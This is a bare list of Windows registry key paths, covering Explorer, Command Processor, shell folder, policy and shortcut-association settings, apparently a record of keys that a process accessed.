HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{5e1375cc-b5ba-11e3-a2f5-806e6f6e6963}\Generation
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{5e1375cd-b5ba-11e3-a2f5-806e6f6e6963}\Data
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{5e1375cd-b5ba-11e3-a2f5-806e6f6e6963}\Generation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-120665959-548228820-2376508522-1001\State
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-120665959-548228820-2376508522-1001\ProfileImagePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\DisableUNCCheck
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\EnableExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\DelayedExpansion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\DefaultColor
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\CompletionChar
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\PathCompletionChar
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\AutoRun
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DisableUNCCheck
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\EnableExtensions
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DelayedExpansion
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DefaultColor
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\CompletionChar
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\PathCompletionChar
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000809
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoPropertiesMyComputer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoPropertiesRecycleBin
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInternetIcon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoCommonGroups
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage2\ProgramsCache
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\InitFolderHandler
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Start Menu
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\CallForAttributes
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\RestrictedAttributes
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\WantsFORDISPLAY
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\HideFolderVerbs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\UseDropHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\WantsFORPARSING
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\WantsParseDisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\QueryForOverlay
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\MapNetDriveVerbs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\QueryForInfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\HideInWebView
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\HideOnDesktopPerUser
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\WantsAliasedNotifications
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\WantsUniversalDelegate
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\NoFileFolderJunction
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\PinToNameSpaceTree
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\HasNavigationEnum
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\NonEnum\{20D04FE0-3AEA-1069-A2D8-08002B30309D}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shellex\FolderExtensions\{fbeb8a05-beee-4442-804e-409d6c4515e9}\DriveMask
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\AccessProviders\MartaExtension
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DontShowSuperHidden
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellState
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWebView
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\ClassicShell
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\SeparateProcess
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoNetCrawling
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSimpleStartMenu
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowCompColor
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\DontPrettyPath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowInfoTip
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideIcons
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\MapNetDrvBtn
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\WebView
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Filter
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\SeparateProcess
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\NoNetCrawling
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\AutoCheckSelect
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\IconsOnly
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowTypeOverlay
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\DocObject
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\DocObject
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\DocObject
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\BrowseInPlace
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\BrowseInPlace
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\BrowseInPlace
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\IsShortcut
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\IsShortcut
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\IsShortcut
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\AlwaysShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\NeverShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\NeverShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\NeverShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\InitFolderHandler
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Desktop
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\InitFolderHandler
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\InitFolderHandler
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\AppData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\AllowFileCLSIDJunctions
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.lnk\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\shellex\IconHandler\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\DocObject
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.lnk\DocObject
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\BrowseInPlace
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.lnk\BrowseInPlace
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.lnk\Content Type
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\CLSID\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\IsShortcut
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\AlwaysShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.lnk\AlwaysShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\NeverShowExt
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\MUI\StringCacheSettings\StringCacheGeneration
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\System32\ie4uinit.exe,-735
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\System32\ie4uinit.exe,-734
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\AccessibilityCpl.dll,-10
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\System32\ie4uinit.exe,-737
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\StreamResource
